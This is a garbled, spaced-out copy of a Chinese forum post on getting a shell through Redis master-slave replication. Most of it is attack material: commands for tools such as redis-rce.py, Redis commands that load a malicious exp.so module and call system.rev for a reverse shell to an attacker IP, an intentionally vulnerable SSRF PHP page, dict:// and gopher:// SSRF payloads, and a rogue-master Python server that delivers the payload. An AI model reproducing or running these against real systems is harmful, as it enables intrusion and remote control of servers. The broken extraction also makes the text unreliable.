[998] 2020-06-11_Redis主从复制getshell技巧

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2020-06-11_Redis主从复制getshell技巧 R e d i s g e t s h e l l   B y p a s s   B y p a s s   2 0 2 0 - 0 6 - 1 1 R e d i s W i n d o w s w e b s h e l l   L i n u x w e b s h e l l   r o o t     c o n t r a b s h e l l R e d i s 使 R e d i s   R C E R e i d s   4 . x R e d i s R e d i s R e d i s C . s o g e t s h e l l 1 . s o R e d i s M o d u l e s - E x e c u t e C o m m a n d 使 m a k e 2 p y t h o n   r e d i s - r c e . p y   - r   i p - p     - L   i p   - f   . s o R e d i s s l a v e m a s t e r 1 1 2 3 4 2 R e d i s ( s l a v e ) 3 使 n c R e d i s R e d i s s l a v e n c R e d i s R e d i s R e d i s F U L L R E S Y N C R e d i s g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / R e d i s M o d u l e s - E x e c u t e C o m m a n d c d   R e d i s M o d u l e s - E x e c u t e C o m m a n d / m a k e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e . g i t c d   r e d i s - r c e / c p   . . / R e d i s M o d u l e s - E x e c u t e C o m m a n d / s r c / m o d u l e . s o   . / p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t   p y t h o n   r e d i s - r c e . p y   - r   1 9 2 . 1 6 8 . 2 8 . 1 5 2   - p   6 3 7 9   - L   1 9 2 . 1 6 8 . 2 8 . 1 3 7   - f   m o d u l e . s o n c   - l v v p   1 2 3 4 s l a v e o f   1 2 7 . 0 . 0 . 1   1 2 3 4
1 R e d i s 1 2 3 4 e x p . s o 2 访 r e d i s S S R F + R e d i s   s h e l l R e d i s g e t s h e l l S S R F + R e d i s s h e l l c u r l s s r f . p h p : R e d i s 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 p y t h o n   R o g u e S e r v e r . p y   - - l p o r t   1 2 3 4   - - e x p   e x p . s o # r e d i s         c o n f i g   s e t   d i r   . / # e x p . s o d u m p . r d b         c o n f i g   s e t   d b f i l e n a m e   e x p . s o # I P         s l a v e o f   1 9 2 . 1 6 8 . 1 7 2 . 1 2 9   1 2 3 4     #         m o d u l e   l o a d   . / e x p . s o #         s l a v e o f   n o   o n e   #         s y s t e m . e x e c   ' w h o a m i '         s y s t e m . r e v   1 2 7 . 0 . 0 . 1   9 9 9 9         # d u m p . r d b         c o n f i g   s e t   d b f i l e n a m e   d u m p . r d b # e x p . s o         s y s t e m . e x e c   ' r m   . / e x p . s o ' # s y s t e m         m o d u l e   u n l o a d   s y s t e m < ? p h p $ c h   =   c u r l _ i n i t ( ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ _ G E T [ ' u r l ' ] ) ; # c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ F O L L O W L O C A T I O N ,   1 ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   0 ) ; # c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ P R O T O C O L S ,   C U R L P R O T O _ H T T P   |   C U R L P R O T O _ H T T P S ) ; c u r l _ e x e c ( $ c h ) ; c u r l _ c l o s e ( $ c h ) ; ? >
1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 R e d i s 9 9 9 9 s h e l l 1 d i c t s h e l l 2 g o p h e r s h e l l 3 s h e l l R e d i s # r e d i s s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / i n f o # s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / c o n f i g : s e t : d b f i l e n a m e : e x p . s o # R e d i s s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / s l a v e o f : 1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 : 1 2 3 4 # s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / m o d u l e : l o a d : . / e x p . s o # s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / s l a v e o f : n o : o n e #   s s r f . p h p ? u r l = d i c t : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / s y s t e m . r e v : 1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 : 9 9 9 9 # R e d i s s s r f . p h p ? u r l = g o p h e r : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / _ c o n f i g % 2 5 2 0 s e t % 2 5 2 0 d b f i l e n a m e % 2 5 2 0 e x p . s o % 2 5 0 d % 2 5 0 a s l a v e o f % 2 5 2 0 1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 % 2 5 2 0 1 2 3 4 % 2 5 0 d % 2 5 0 a q u i t # e x p . s o s h e l l s s r f . p h p ? u r l = g o p h e r : / / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 1 : 6 3 7 9 / _ m o d u l e % 2 5 2 0 l o a d % 2 5 2 0 . / e x p . s o % 2 5 0 d % 2 5 0 a s y s t e m . r e v % 2 5 2 0 1 9 2 . 1 6 8 . 1 7 2 . 1 2 9 % 2 5 2 0 9 9 9 9 % 2 5 0 d % 2 5 0 a q u i t i m p o r t   s o c k e t f r o m   t i m e   i m p o r t   s l e e p f r o m   o p t p a r s e   i m p o r t   O p t i o n P a r s e r d e f   R o g u e S e r v e r ( l p o r t ) :         r e s p   =   " "         s o c k = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s o c k . b i n d ( ( " 0 . 0 . 0 . 0 " , l p o r t ) )         s o c k . l i s t e n ( 1 0 )         c o n n , a d d r e s s   =   s o c k . a c c e p t ( )             s l e e p ( 5 )         w h i l e   T r u e :                         d a t a   =   c o n n . r e c v ( 1 0 2 4 )                 i f   " P I N G "   i n   d a t a :                         r e s p = " + P O N G " + C L R F                         c o n n . s e n d ( r e s p )                 e l i f   " R E P L C O N F "   i n   d a t a :                         r e s p = " + O K " + C L R F                         c o n n . s e n d ( r e s p )                 e l i f   " P S Y N C "   i n   d a t a   o r   " S Y N C "   i n   d a t a :                         r e s p   =     " + F U L L R E S Y N C   "   +   " Z " * 4 0   +   "   1 "   +   C L R F                         r e s p   + =   " $ "   +   s t r ( l e n ( p a y l o a d ) )   +   C L R F                         r e s p   =   r e s p . e n c o d e ( )                         r e s p   + =   p a y l o a d   +   C L R F . e n c o d e ( )                         i f   t y p e ( r e s p )   ! =   b y t e s :                                 r e s p   = r e s p . e n c o d e ( )                                                 c o n n . s e n d ( r e s p )        
                        c o n n . s e n d ( r e s p )                         # e l i f   " e x i t "   i n   d a t a :                         b r e a k i f   _ _ n a m e _ _ = = " _ _ m a i n _ _ " :         p a r s e r   =   O p t i o n P a r s e r ( )                                                   p a r s e r . a d d _ o p t i o n ( " - - l p o r t " ,   d e s t = " l p " ,   t y p e = " i n t " , h e l p = " r o g u e   s e r v e r   l i s t e n   p o r t ,   d e f a u l t   2 1 0 0 0 " ,   d e f a u l t = 2 1 0 0 0 , m e t a v a r = " L O C A L _ P O R T " )                         p a r s e r . a d d _ o p t i o n ( " - f " , " - - e x p " ,   d e s t = " e x p " ,   t y p e = " s t r i n g " , h e l p = " R e d i s   M o d u l e   t o   l o a d ,   d e f a u l t   e x p . s o " ,   d e f a u l t = " e x p . s o " , m e t a v a r = " E X P _ F I L E " )         ( o p t i o n s   ,   a r g s   ) =   p a r s e r . p a r s e _ a r g s ( )         l p o r t   =   o p t i o n s . l p         e x p _ f i l e n a m e   =   o p t i o n s . e x p         C L R F = " r n "         p a y l o a d = o p e n ( e x p _ f i l e n a m e , " r b " ) . r e a d ( )         p r i n t   " S t a r t   l i s t i n g   o n   p o r t :   % s "   % l p o r t         p r i n t   " L o a d   t h e   p a y l o a d :       % s "   % e x p _ f i l e n a m e                   R o g u e S e r v e r ( l p o r t )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则